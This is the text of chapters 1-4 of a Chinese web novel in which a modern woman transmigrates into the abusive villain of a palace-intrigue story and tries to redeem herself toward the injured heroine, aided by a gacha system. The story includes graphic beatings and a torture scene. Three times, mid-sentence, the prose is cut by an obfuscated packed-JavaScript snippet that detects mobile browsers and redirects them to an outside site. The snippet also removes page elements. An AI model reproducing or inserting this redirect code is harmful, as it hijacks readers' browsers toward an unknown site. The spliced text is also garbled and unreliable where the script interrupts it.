《穿为未来女皇的炮灰渣A》 1. 第 1 章 “阿姐……别打了……” “阿姐……会死人的……” 季平安半梦半醒间,听到了弱弱的哭声。 不就是熬夜到凌晨三点看了本小说,怎么还开始幻听了。 她被吵的受不了,头也疼的厉害,只能蹙着眉睁开眼。 只是看清楚眼前的景象后,季平安愣在原地。 她没有在自己的卧室,反而在一处破落的庭院里,夜里的冷风刮过,让人浑身都泛着寒。 眼前有个七八岁的小姑娘,身上穿着古代农户的衣服,胳膊袖口处全是补丁,此刻正紧紧地抱着她的腿,脸上全是泪。 这是在做什么,拍电视剧吗? 季岁岁看到季平安停了打人的动作,但手上还拿着硬树枝,她不自觉地想到之前对方说过的话。 “吃老子的用老子的,我教训人什么时候轮得到你插嘴了,滚一边去。” “你再帮她说一句话,信不信我连你一起打?” “呵,一个两个的都来找打,那就满足你们!” “……” 胳膊上还泛着疼,但季岁岁还是强忍住心里的害怕,抖着哭声道:“姐姐,阿九她知道错了,再打下去会死人的。” 还没有搞清楚状况的季平安,听到这话才注意到,庭院的地上还躺着一个人。 还没开春,晚上便格外冷,地上都能看到凝出来的白霜。 女人身上只穿着层薄薄的麻衣,被冻地发颤,却没有力气从地上起来,只能将自己的身子蜷缩起来。 露出来的清冷漂亮的侧脸上,还带着泛红的伤痕,甚至能看到明显的血丝,一看便是被鞭子之类的东西抽出来的。 等等。 庭院中的漂亮女人,带着伤痕的侧脸,似乎正在打人的她。 以及刚才听到的那个称呼——阿九。 一瞬间,陌生的记忆突然涌入到季平安的脑海里,也让她反应过来现在是什么情况。 她穿越了,还穿越到睡前刚看到的那本小说里! 这本小说是朋友分享给她的,发过来链接的时候,朋友还特地嘱咐了她句话。 【这本小说你认真看,最好能一字不落地全文背诵。】 主角沈之虞原本是朝堂七公主,金尊玉贵,天潢贵胄,性格也是皇家养出来的矜贵单纯。 但她先是被皇室同胞设计遇害失忆,后又被乡野无赖磋磨,期间历经无数磨难,心性大变,变得狠辣无情。 最后她杀兄弑父,登基称帝,也将所有欺辱过她的人一一报仇雪恨。 小说剧情精彩,权谋智商在线,评论区也都是好评,甚至还以此为原型衍生出了游戏。 季平安确实喜欢这种小说类型,但是这本她却看的很别扭。 因为小说前期的这个炮灰无赖,和她的名字一模一样,也不怪朋友特地强调要她全文背诵。 这个朝代除了男女,还会在成年之前分化出第二性别,也就是常见的乾元、中庸、坤泽。 中庸和普通人最相似,乾元和坤泽则会自带一种信香。 社会上也通常是乾元和坤泽两者互相结合。 这是因为她们会各自受到甘霖期和雨露期的影响,如果不进行标记,就必须要去药堂购买专门的抑制丸度过。 但乡野人家,秋收时节交了赋税,粮食便只够自家糊口,哪里有多余的钱去买抑制丸。 无赖半夜醉酒回来,被路边昏迷的沈之虞绊倒。 踢了两脚泄愤后,注意到对方是坤泽,便起了歹心,把人带回来准备强行标记对方。 谁知道沈之虞关键时刻自毁腺体,再也无法接受标记,计划失败的无赖便动辄打骂。 让人瘸了腿,脸上也落了疤,磋磨了对方三年,浑身都是伤病,可谓恶人一个。 好在无赖的戏份不多,最后的结局也大快人心。 但毕竟跟自己的名字一样,季平安实在看不下去前面无赖虐待主角。 因此也就忽略了朋友的话,草草扫过几眼,便径直跳到小说后面的剧情。 唯一让她印象深刻的,便是书中结尾时,提到了无赖的结局。 【冷硬的铁棍重重地敲在膝盖处,甚至能听到骨头被一寸一寸打碎的声音。】 【锋利的刀破开血肉,暗卫硬生生地将对方的腺体剜了下来,顷刻间无赖的脖颈处便血肉模糊,余下的位置则片片割开。】 【察觉到人要晕过去,黑衣暗卫拿着热盐水灌到伤口处,“呲啦”一声,对方浑身像是团烂掉的腐肉,只能发出“嗬——嗬——”的喘气声。】 【血肉的气味吸引来山中饥饿的野兽,尸骨都被啃食干净……】 扒皮抽骨剜肉,最后尸骨无存。 几个小时前的季平安,看到这些描述,忍不住说了声:“好爽,简直大快人心,这就是恶人有恶报!” 但此刻,季平安看着地上的人,狠狠闭了闭眼。 真是天有绝人之路啊! 按照记忆,原主今晚想强行标记对方,但是沈之虞狠狠地咬了她的手,侥幸逃脱跑到了院子外面。 可惜沈之虞身体没有力气,跑了两步就跌倒在院子里,被赶过来的原主抓住开始肆意殴打。 “不是想跑吗?现在怎么不跑了?” “老子把你救回来,不知道跪着感谢,还敢咬老子?” “……” 打骂一刻都没有停过,刚开始沈之虞还会反抗,后来她便抱着胳膊蜷缩在地上,一动不动。 看着像是快咽气的动物一般,气息都变得微弱。 这也是为什么原主妹妹拼命拦人的原因。 季平安想走过去看看沈之虞的情况,却被紧紧抱着大腿,动弹不得。 “阿姐……”季岁岁冻得全身已经没有知觉,却还是不敢放手。 她以为季平安又要继续打人,红着眼眶道:“阿姐,你如果生气的话就打我吧。” 无论如何,再打阿九真的会没有命的。 听到这话,季平安急忙把手里的树枝扔出去,“我谁也不打,你先放开,我去看看阿九。” 沈之虞现在还是失忆的状态,原主也不会知道对方的名字,因为是在初九日捡到的,便随随便便地称人为阿九了。 说完,她想摸摸季岁岁的头,安慰对方让她放心。 只是刚伸出手,季岁岁便浑身颤抖,用细瘦的胳膊抱住自己的头,作出防御的姿态。 这是只有经常被打的人,为了保护自己才会做出来的下意识动作。 季平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339056|167824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安心中暗骂一声,原主这都做的什么孽,不到十岁的亲妹妹都被打成这样,扒皮抽骨还是轻了! 但她现在也没有办法做什么,只能语气上放温柔些,“岁岁,你先回屋里去。” 说完后,她快走两步想看看沈之虞的情况。 只是刚靠近,她的视线便触碰到对方的眸眼。 沈之虞已经极度虚弱,仿佛下一秒就会晕过去,但她的眼神比寒风还要冷冽。 哪怕季平安已经知道剧情,但也有一瞬间心底发颤,脑子里全都是小说结尾原主的惨烈死法。 她本来就软的腿更是直接跪到对方的身边,“阿九,你怎么样?” 沈之虞在外面冻的太久,体温也在慢慢流失,甚至连意识都不是很清醒。 但感觉到乾元靠近的气息后,她还是咬了咬自己的舌尖竭力保持镇静,握紧了从地上摸到的石头。 等了几秒钟后,季平安没有听到对方的回答,只能看到对方的眸眼微闭,脸色惨白。 她也不再犹豫,直接把自己带棉的外衫脱了下来裹在对方身上,准备先把人抱到屋子里面去。 只是她的手臂还没有碰到对方的腰部,便感觉自己的眼前飞快划过道残影。 季平安下意识抬手,缓了两秒后才看清楚。 沈之虞手上拿的是块锋利的石头,用了十足的力气,正想往自己的腺体处扎。 好在她拦得够快,沈之虞如今的腺体只是刚破了个皮,否则必然会鲜血淋漓。 季平安的心里一阵后怕,急忙掰开对方的手,把石头扔得远远的。 如果她没有记错,原剧情里便是沈之虞不想让对方标记,便划破了自己的腺体,永远无法被标记。 她咽了咽口水,怪不得对方能够成为书中的女主,对别人狠,对自己更狠,毁自己的腺体都不带眨眼睛的。 石头被扔走,沈之虞闭着的眼也不得不睁开,脸色更加苍白。 她没有忘记刚才这个乾元想要强行标记自己。 从醒来后,她便一滴水和米都没有进过,身体完全没有力气。 所以哪怕刚才手上攥着石头,她刺破乾元腺体的可能性也很小,只能转而让自己无法被标记。 没有想到,哪怕到这种地步,却还是失败了。 季平安不知道沈之虞在想什么,只能尽量安抚她的情绪,道:“我不会标记你的。” 说完,她便把人抱了起来,再待下去她们两个都要被冻死在这里。 她一只胳膊穿过对方腰部,另一只胳膊绕过膝弯,稳稳地将人抱了起来。 也是靠近之后,季平安才注意到对方身上被鞭打过的伤痕实在过多。 侧脸处、锁骨处、脚腕处,甚至连她碰到对方的腰时,都能感受到怀中的人抖了一下。 不是季岁岁的那种害怕,而是因为实打实的疼痛难忍。 “全身都是伤”,在书中只是短短的几行字,落到现实中亲眼看到,季平安才意识到原主有多么残忍暴力。 她看着怀中的人,忍不住道:“我帮你把伤治好……” 然后放你走。 只是话还没有说完,脑海中却突然响起一道机械声。 【叮,发现皇位候选人,解锁好感度抽卡系统。】 2. 第 2 章 皇位候选人,应该指的就是她现在抱着的沈之虞,几年之后会登基称帝。 至于好感度抽卡系统,她想到原来的小说被改编成了游戏,里面就有抽卡系统,难不成这也与沈之虞有关系? 只是这道声音响过之后,她的脑海中便彻底安静下来,恍惚间还以为是人的幻觉。 季平安只能暂时将其抛到脑后,先把怀中的沈之虞抱到屋中,放到床上。 人刚放下,沈之虞便用尽力气躲到了床的里侧,很明显的抗拒。 季平安叹了口气,这也不怪沈之虞。 她接受了原主的记忆,一个时辰前原主就是在这张床上想要强行标记对方。 殊不知,她的这声叹气被门口的季岁岁听到,整个人都害怕的不行,小小地一团蜷在门口处。 刚才季平安让她进屋,她哪怕再担心阿九,也不能不听,因为生气的季平安打人会更疼。 现在阿姐是又生气了吗? 她刚想到这里,便听到了季平安的声音。 “岁岁,过来。” 哪怕季平安顾及着孩子的心情,特地放轻了声音,但听在季岁岁的耳中,还是格外恐怖。 她颤了颤眼睛,却不敢不过去。 屋子里统共就丁大点儿地方,没两步她便到了季平安的面前,“阿姐……” 床上的沈之虞目光紧紧地盯着季平安的背影,指尖几乎要刺破自己的掌心。 她刚醒过来的时候,看到的便是季岁岁。 骨瘦如柴,面黄肌瘦,却还想着给她碗水煮过的野菜。 只是恰好被季平安撞上,对方不仅踢翻了碗,还生气地对季岁岁又打又骂,力度很大,直接把小孩踹倒在了地上。 她当时护着小孩,自己的腰上却被踹了好几脚,现在哪怕只是动动都会格外疼。 按照季平安打人的力度,岁岁受不住的。 沈之虞还记得刚才也是小孩帮她求情,她垂下冷淡的眸眼,想开口转移季平安的注意力,左右身上也不怕再多些伤口。 只是她的话还没有说出口,便先听到了季平安的声音。 “岁岁,你去烧点热水,我出去一趟。” 穷人的孩子早当家,这句话无论是古是今都适用。 刚穿过来的时候,季平安看着比豆丁大不了多少的季岁岁,以为小孩才七八岁。 但接受完原主记忆后,才知道小孩已经十岁了,只是平时吃的太少太差,身高没长起来。 原主的父亲早逝,母亲是打猎的猎户,按理说她们之前的日子,比普通人家还好上不少,吃饭的时候甚至还能看见些荤腥。 只是两年前原主母亲进到山里后,再也没出来,只剩下原主和她的妹妹。 被宠溺惯的原主好吃懒做,挥霍着家里的钱和粮,还变卖了不少东西,只为了去城里喝酒。 季岁岁日常都是自己烧水做饭,不过最多的还是捡些野菜和野果吃。 村里的人有时候实在看不下去,偶尔便分她半个糙饼,还得防备着不被原主抢走。 “烧热水?”小孩弱弱的声音重复了遍她刚才说的话。 季平安点头,“嗯,记得烧开后你和阿九多喝点。” 她交代完之后,便出了门,准备找找村里能够看病的大夫。 刚才抱人的时候,她就觉得沈之虞体温有些烫,很有可能是发烧。 更不用说岁岁也在外面吹了这么久的冷风,年纪还小,现在看着没事,过几个时辰就可能生病。 古代医疗条件不发达,一场发烧都有可能要了人的命,马虎不得。 夜里走路漆黑黑一片,只能勉强辨认,她路上还险些掉进路旁的田地里。 哪怕有原主的记忆,季平安还是走错几次小路,才找到一户人家门前。 房子前面围着篱笆,季平安进不去敲不了门,也顾不上现在还是三更半夜,只能放开嗓子喊人。 “庄大夫,庄大夫你在不在?” “庄大夫,着急救命的大事,醒了的话您快点开门……” 夜里寂静,她的声音喊出来,旁边几家院子里被圈着的鸡都开始扑腾翅膀,守门的狗也开始汪汪地叫。 动静实在太大,屋里正睡得香的庄大夫也被吵醒,还以为是哪家着了火,急急忙忙地从床边扯了件衣服就出来,都没看是内衫还是外衫。 开门后寒风一吹,她才彻底清醒过来,哪里是什么着火,村里的泼皮无赖正站她门前呢。 季平安在村里可是出了名的,招猫逗狗,结些狐朋狗友去城里鬼混,还虐待妹妹,堪称无恶不作,见到的人都躲着她走。 因为之前季母是猎户,避免不了受些小伤,都是庄大夫给她看的,两家交情算得上不错。 但季母去世后,庄大夫看不惯季平安,也就断了往来,只偶尔接济下她的妹妹。 如今不知道季平安又抽的哪门子疯,大半夜的不睡觉,来她这里捣乱。 庄大夫明面上骂不得人,但心里却连骂好几句,才解了心里的火气,准备关上门当看不见对方。 只是手刚碰到门把,就听到季平安连忙阻止她的话。 “庄大夫先别关门,我家里有人身子发烫,现在能去家里看看吗?” 哪怕再不喜欢季平安,庄大夫也知道治病是大事。 而且季平安家里的人,还能有谁,不就是岁岁吗?! 她关门的手一顿,急忙道:“你等我拿点药,这就跟你去。” “好,庄大夫你记得多带点药!” - 季平安离开家里后,岁岁便急忙把水烧了起来。 家里不管是锅碗瓢盆还是农具家具,都被季平安卖了不少,如今能烧水做饭的也就两个陶罐。 她不知道要烧多少,但怕季平安不满意,便把两个陶罐都满上了水。 好在冬天过去些,夜里冷但是没有结冰,否则还要费些力气去凿冰。 打火石碰撞冒出些火花,季岁岁急忙引燃了小灶里的枯树叶,又往里面加了两根细柴。 火烧起来,岁岁紧绷着的身体才松懈些,想着家里的柴没有了,她明天得再去林子边捡些回来。 水烧开后,她倒了些在碗里,端着往屋子里走,“阿九,你快喝点。” 沈之虞接过,先问道:“你喝过了吗?” 季岁岁点点头,喝过热水之后,她觉得原本冷着的身体也暖和了不少。 得到答案后,沈之虞才低头沿着碗边开始喝。 她醒来的两天都没有进过水,干渴的厉害,不到一分钟便把碗里的水喝的干干净净。 季岁岁又帮她倒了两碗,才止住渴意。 两人喝完之后,不约而同的看向门口,季平安已经离开家里有段时间了,只是没有说要去做什么。 若是去喝酒,也该是白日再去。 季岁岁盯着自己的脚尖几分钟,犹豫几分钟才看向旁边的人,道:“阿九,我知道出去的小路,你现在可以偷偷走。” 阿姐之后还会继续打人,现在夜里逃走,只要出了城就很难被抓住。 沈之虞愣了下,看着眼前的岁岁,问道:“你想过要走吗?” 岁岁摇摇头。 她虽然年纪小,个子也就比床高不少,但什么道理都懂。 “我年纪还小,跑不了太远,到别的地方可能被人牙子抓走,而且也不知道能去哪里。” 季岁岁低着头蹭了蹭眼角,如果阿娘还在就好了。 沈之虞眸眼微动,道:“我也不知道能去哪里。” 她没有记忆,现在腿也被打伤了,根本就跑不了多远。 话音刚落,院子外面便传来脚步声,两个人屏住了声音。 “庄大夫,你走快点!” 季平安熟悉了路,走的也飞快,路上时不时还拉庄大夫两把,让人快些。 都快四十的人了,还得让人拖着走,庄大夫也有了火气。 “现在倒是知道找我了,打人的时候怎么不着急了?” “说来也是奇怪,你什么时候这么好心,还知道自己有个妹妹?” 季平安走得飞快的脚步,顿了一下,才仿着原主平时的语调道:“家里要是死了人,那多晦气啊,你以为我想来找你这个老婆子啊?” 庄大夫听到这话,气得直接加快了脚步,和季平安拉开一大段距离。 她和这个无赖走同一条路才是晦气! 生气归生气,好在庄大夫没有直接掉头回家,季平安悬着的心才堪堪放下。 也是因着刚才庄大夫的话,她才想到这可是古代,最痛恨妖魔鬼怪。 若是换了芯子被认出来,沉河或者火烧总避免不了,她可不想刚活下来半天就被重新送走。 好不容易看到了门口,气喘吁吁的庄大夫,甚至难得松了口气。 进到屋里,她才看到屋里,除了岁岁还有个陌生的女人。 看起来也就二十岁左右,脸侧的伤也没有影响她的好容貌,只是看到她进来后,明显冷淡防备的姿态。 村子里的事藏不住,前脚发生什么,后脚就能传到村尾。 庄大夫昨天就听到村里有人说,季平安捡了个人回来,还是坤泽,不知道要做什么畜生事。 如今见到,她心底里叹了口气,知道村里人说的多半都是真的。 哪怕现在不做,估摸着季平安也打着这个心思。 感慨完,她径直走上前用手探了探沈之虞和季岁岁的额头,确实有些发烫。 “我给你们拿点药,用热水煎了喝掉,这些药足够吃三天,还没好就再来找我。” 说完,她就从随身带着的布袋里拿出来些草药,给了季岁岁。 药这种正经东西,她不放心交给季平安。 见到庄大夫随手摸了两下,就直接拿药,季平安不放心地问道:“这就行了?” “那还要怎么样,你以为我是县城里的坐堂郎中,还得把把脉?”庄大夫斜她一眼。 庄大夫虽然平时被村里的人称句“大夫”,实则大字都识不了几个,只是跟祖辈学会认识些草药。 只是好在她的草药都是自己采来晒好,通常几文钱就行,因此村里的人也愿意让她来看。 “那她们胳膊上还有其他地方的伤呢?” 庄大夫已经收起来了背着的布药袋,闻言冷笑声道:“只要你不再打人,过个十天半月的总能好。” 不管进山还是在地里干活,总会有磕磕碰碰,只要没伤到筋骨,也没什么人在意。 村里人不金贵,等时间久了,磕碰出来的青紫总会消下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季平安还处在好感度为什么无缘无故降了的疑惑之中,因此也没有注意到对面人眸中划过的那抹冷光。 岁岁帮她把热水端过来后,她喝完就准备往另外一间房走。 临走之前,她嘱咐道:“岁岁,你把药煎好,然后和阿九一起喝了。” 季平安知道,两人不会轻易地对她卸下心防,因此也没有把煎药这个活揽到自己身上。 若是她把药煎好端过来,估计两人还得怀疑她在药里面下毒了,更不敢喝。 季家的院子不小,有三间房并一间灶房和一间厕房。 原主占着最大的那间房,岁岁则是在较小的那间,余下的一间是原主父母住的,里面如今放的都是些杂物。 季平安在心里盘算着,有时间就把原主父母的屋子收拾出来,让沈之虞住进去。 家里的床都是砍了山上的木头,再请村里的木匠打的,也有些年头,上面先是铺着层厚厚的秸秆,其后才是掺着棉絮的被褥。 躺的有些不习惯的季平安,翻个身就能够听到床吱呀吱呀的叫。 她却暂时不关心这些,还有个更重要的她没有了解。 季平安在心里默默的喊了句“系统?” 不到一秒钟之后,她的眼前便弹出个光屏。 光屏和她曾经玩过的游戏界面很像,左侧是新手引导,右侧则有个大大的抽卡键。 光屏是透明的,没有实体摸不到。 不过在季平安想要点新手引导的时候,光屏自动展开了这一块的内容。 季平安微微挑眉,看来是用意识就能够操控的高科技。 【沈之虞为一代女帝,登基前多磨难,虽杀兄弑父,却圣明贤良,任人唯贤,可惜登基后三年便早逝……】 季平安浏览完全部的内容,也明白了为什么这个系统会出现。 书中结尾只写到沈之虞登基,但是却没有写之后的事情。 沈之虞因为经受了过多磋磨,伤病早已深至肺腑,登基三年后便去世。 她前世因为熬夜猝死,刚好穿到书中的无赖身上,需要改变原书结局,好好对待沈之虞。 衡量标准便是沈之虞的好感度,对方每增加1个好感度,她就能获得一次抽卡机会。 看完新手引导后,原本的页面也消失,出现了个新页面。 【沈之虞当前生命值:30(满值100)】 【沈之虞当前好感度:-50(满值100)】 【系统赠送新手礼包,可免费获得一次抽卡机会,可在任意时间使用。】 季平安最先看到的就是那个大咧咧挂在页面上的“-50”,原来好感度还能是负的?! 沉默两秒,她倒是有点兴奋,那她最多不就能有150次的抽卡机会,也不完全算是坏事! 兴奋完,季平安想到身上仅仅剩下的三文钱,情绪又低落了些,目光落到那个闪烁的抽卡键上。 【确认使用一次抽卡机会,进行抽卡吗?】 【确认。】 3. 第 3 章 新手指引也介绍过抽卡系统的规则,和季平安曾经玩过的抽卡游戏很相似。 系统里能够抽到的东西分为三级,分别是【优】【良】【凡】。 其中【优】等级物品稀有,价值也最高,【凡】则是最为普通的物品,抽到的概率也最大。 能够抽到的物品应有尽有,随机出现,不能够指定。 抽卡的时候,如果抽到的物品是【优】,整个页面都会变成金色。 季平安看到了系统弹出来的抽卡提示,她深深地吸了口气,目光就没有离开过抽卡页面,紧张地心跳都快了几分。 来个金色吧,她真的很需要啊! 如果能让她抽到【优】类物品,她愿意接下来五年都吃香喝辣。 【已消耗一次抽卡机会。】 随着系统机械音落下,系统页面也开始变化。 抽卡键被轻点一下,如同一颗石子落入平静的水面,泛起阵阵涟漪。 一秒、两秒、三秒…… 三秒之后,原本是透明色的系统页面,开始从边缘染上些浅金色。 季平安屏住了自己的呼吸,看着颜色慢慢加深,最后变成灿烂至极的金色! 她第一次就抽到了最为稀有的物品! 【恭喜获得优类物品[猎物瞄准镜],有效时间为[无限期拥有]】 【物品描述:最锋利的箭刃,指向目标猎物,不容一丝失误。】 季平安看到物品描述,默了两秒,[猎物瞄准镜]的功能用法没介绍清楚,中二的气质倒是快溢出来了。 [猎物瞄准镜]偏向枪战游戏中的瞄准镜,有个“十”字符号,可以瞄准物体。 季平安佩戴上瞄准镜后,眼前便出现了“十”字符号,可以根据自己的意识决定瞄准哪里。 她隐隐约约猜到了这个物体的用处,起床拿了屋内挂在墙上的弓和木枝劈成的箭。 这是季母曾经用过的弓箭,不过因为是用桑树枝做的弓臂,弓弦材料的韧性也差,用过一段时间就搁置在屋里,给原主和妹妹当玩具,季母换了更好的弓。 她试着瞄准屋里的桌子,“十”字符号便立刻对准桌子中央,只是弹出眼前忽然弹出警告。 【提示,此物品不在瞄准镜射击范围内。】 季平安放下弓重新躺到床上,心里也有了大概。 桌子这种东西不属于系统认定的“猎物”,因此也不在瞄准器辅助的范围内,看来她明天得去找找真正的猎物进行实验。 因为睡前的那次抽卡,季平安格外兴奋,梦里都是金光闪闪的景象,所以第二天醒的也格外早。 她穿好衣服,先去灶房看了看。 灶上的陶罐都是干干净净的,灶灰上面能看到些药渣,起码庄大夫给的药她们已经吃了。 看完之后,她又往里面走,按照记忆家里的存粮也在这里放着。 季平安弯腰打开里面被盖住的一个罐子,里面只剩下些小麦面粉,平铺开将将一个底,可能一顿都不够吃。 旁边还放着四个不大的红薯和些野菜,但也能算一顿饭,其他的就再也没有了。 季平安撇了撇嘴,怪不得系统那么大方的送给她新手礼包。 要是没有新手礼包,她也不用等沈之虞来扒皮抽骨了,恐怕会先被饿死。 今天怎么说也要去城里买些米面回来,如果有可能,最好再去药房一趟,买些治疗跌打损伤的药。 虽然说庄大夫说不用治,但她可没有忘,原书中沈之虞被打的留下了永久疤痕,还是不能轻易忽略。 她把四个红薯放到了陶罐里面,又加了些水煮熟当早饭,季平安只吃了一个,余下的三个留着。 吃完,季平安放轻脚步,走到沈之虞和岁岁在的屋门前面。 她没有进去,只透过细缝处看了看屋内的情况。 可能是因为昨晚折腾的太晚,两个人都还没有醒。 岁岁侧着睡在里面,脸卧在枕头上,手还紧紧拉着沈之虞侧边的那一截衣袖,这时候倒是能看出来些孩子模样了。 沈之虞也闭着眼眸,发丝稍显凌乱,好在没有难受的神色。 不继续发烧就行,季平安也放下了心,回到屋里拿着那把旧弓,背着家里唯一的背篓出了院子。 殊不知,在她脚步声消失后,原本应该是熟睡中的沈之虞睁开了眼睛,里面都是警惕。 — 她们在的这个村子叫大柳村,村里也正好有棵柳树,平日村里的人都爱聚在这棵大柳树下面。 有时候说说北边人家的坤泽出嫁了,有时候又说隔壁村谁谁家偷人被抓住了,无论发生了什么事,都能得到最新的一手消息。 “昨天晚上的声音,你们听到了吗?应该是季家吧?” “就是季家,前半夜听着像是在打人,还能听到孩子的哭声,真可怜啊!后半夜估计是把人打的半死不活才去找的庄大夫。” “你还别说,半夜她喊人的那着急劲,我都想让庄大夫快点了。” “真是作孽啊,你说季猎户人也不错,怎么就有这么个闺女,上辈子估计磕错头了。” 这话说出来,围在大柳树下面的人全都笑了。 她们之前都羡慕季母,力气大,打猎也好,做饭时候飘出来的肉香愣是能让家里的小孩馋哭。 哪怕季家的男人死的早,但是女儿季平安不到十五岁就分化成了乾元,未来肯定是家里干活的一把能手。 谁知道现在反倒变成了大柳村独一号的无赖,往常的羡慕嫉妒,现在也都没了,反倒是看热闹不嫌事大。 只是笑到一半,她们看到路边的人后,笑声硬生生止住。 季平安转着手上的弓,像是完全不知道发生什么,好奇问道:“婶子们和大伯们怎么都不笑了?” “……” 安静两秒后,才有人开口道:“哎呦,我们就是闲着说说话,这不是隔壁村有个乾元,掉进河里结果裤子都被冲走了,愣是光着腿回的家,你说这不是闹了个大笑话嘛!” 这话出来,大伙们的脸上也挂上了笑,“富贵娘讲的怎么像是亲眼见到的,这谁能不笑,平安你说是不是?” “婶子讲的是不错。” 接下来至少也要在村里住段时间,季平安也没想和大家关系搞得太僵。 “话说回来,平安你这是要去山上打猎?” 说话的时候,也有人见到了她手上拿的弓,上山也正好要走这条路。 季平安拿捏着原主混不吝的语调道:“去山上转转,这也不能饿死在家里啊。” 她们村子刚好挨着山,平日里大家都爱上去采些野菜或者摘点野果,小孩就抓些知了之类的虫子,炒熟也是道格外香的加餐。 但打猎就着实难了些,山上的活物可不是家养的牲畜,跑的一个比一个快。 闻言众人的心里都是一个想法,“就你这个好吃懒做的人,进去也是被饿死在山上,有什么区别。” 想是这样想,但肯定不能说,她们可知道破皮无赖是真的会打人的。 “那平安你快些去吧,估摸着这时节山上的活物正多着呢,冬天过了,现在全都出来找食吃。” “是啊,就是刚开春没有那么肥,秋天的兔子才叫一个肥厚!” 富贵娘也笑着接了一句,“有肉吃谁还会嫌弃肥瘦,平安打到了可记得让我们沾沾光。” “我打的猎物,和婶子有什么关系?” 季平安可没有忘记,刚才就是富贵娘提的原主母亲。 她不想和村里的人关系搞僵是一回事,但也不可能被人骂了都当做没发生过。 穿成无赖身份,有一个好处就是想说什么就能说,完全不用给人留着脸面。 这话说出来,富贵娘脸上的笑也僵住,什么话也说不出来。 等看到季平安在道路尽头拐了弯后,才朝着地上吐了头唾沫,“我呸,她以为她是谁,真觉得自己能打到猎物啊?” “小心点可别和自己娘一样,把命都留在山上!” 其他人虽然没有接话,但富贵娘说的就是他们心里想的。 猎物要是真的那么好打,村里人早去了,还轮得到季平安吗? 季平安不知道自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339058|167824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己走后,富贵娘还说了这话。 但就算听到,她也不会放在心上。 按照原主的水平来看,确实是能在山里活下来就行,更不用说打什么猎物了。 但她有着运气爆棚抽出来的[猎物瞄准镜],打猎起来则会容易很多。 进到山里后,能看见不少野菜都冒出了头,佩戴着[猎物瞄准镜]的季平安,在林子的外围慢慢走着,没往深处走。 深山里面应该有更大更好的猎物,但是也有危险,比如很有可能碰到老虎、狼、野猪之类的大型动物。 季平安如今只有[猎物瞄准镜]这一个辅助功能,连用的箭都是季母曾经用树枝削出来的玩具。 遇到像野猪之类的动物,估计连它们的皮都扎不透,怎么也要等等多抽几个系统道具再往深山里面走。 她将自己的脚步放到最轻,连呼吸都刻意放缓,视线一直都在关注着四周。 两刻钟后,季平安隔着十来米看到远处有个野兔,正小口小口啃着地上新长出来的草。 她停下脚步,凝住目光,缓缓将弓箭的弦拉开,一直到绷紧到最大。 与此同时,季平安也看到瞄准镜上的“十”字对准了野兔。 【提示,猎物已进入瞄准镜射击范围内。】 “咻——” 几乎是箭射出去的那一刻,原本正在吃草的兔子也停下,耳朵警惕地竖起来,后腿一瞪就“噌”地跳离了原来的位置。 野兔的警惕性本来就高,更不用说这只野兔敢在山边这种人多的地方活动,灵活性和反应速度更不必说。 眨眼间,射出的箭快到了野兔的位置,但那里只剩一个残影。 季平安看着跳走的野兔,也忘了放下举着的弓,内心只有一个念头:射不到了,到手的兔子要跑了! 这个念头刚出来,她还没有来得及失落,却见本应该是直直射出去的箭,在跌落前竟然变换了方向,削尖的锋利箭头刺入了野兔的腹部! 季平安:“!!!” 还有些不可思议的她,捡起来被射中的野兔时,才确认刚才不是她的幻觉。 也就是说,只要在[猎物瞄准镜]瞄准范围内,她都能够百发百中! “这就是系统出品,必属精品?这么厉害的吗?” 她都有点想马上提高沈之虞的好感度,多抽几次卡看看还有什么【优】类物品了。 季平安原本只是自己小声感慨,没有想到说完之后,原本透明纯色的页面,边缘染上了些淡粉色。 “?” 季平安眨眨眼,好奇道:“系统,你这是害羞了吗?” 她昨天以为系统只是无情的提示工具呢,原来还能懂她什么意思。 怪不得她昨天吐槽物品描述很中二的时候,总觉得系统页面忽然闪动了一下。 “那我们能不能商量商量,下次抽卡再让我得到个优类物品怎么样?” 话音落下,原本还是淡粉色的页面又重新变成了透明纯色。 季平安:“……” 也是很有原则了。 和系统单方面沟通的时候,她手上也没有闲着,三两下就野兔身上的箭拔出来,然后扔到了自己带着的背篓里面。 从野兔身上拔下来的箭还能继续用,当然,季平安也只有这一支箭了。 家里切菜的刀被原主卖了,镰刀也不剩,家里完全找不到稍微锋利的东西,短时间内也没有办法制作箭。 好在这把弓太过陈旧,没有什么价值,原主没抵出去,否则季平安哪怕抽到了[猎物瞄准镜]也没办法利用。 接下来的两个时辰内,季平安继续在林子外围转,又打了两只野兔和一只野鸡。 野兔都能有三四斤,野鸡小一些,但也能到两斤,加起来背篓里能有十几斤,上面还放了些野菜把猎物盖得严严实实。 季平安感受了感受背上的重量,觉得差不多可以出林下山了。 只是她刚直起身子,整个人就顿在原地,呼吸完全停住。 一条黑绿色花纹的蛇正盘旋在她面前的树上,“嘶嘶”的吐着信子。 4. 第 4 章 季平安离开家里后,沈之虞和季岁岁没有多久也起了。 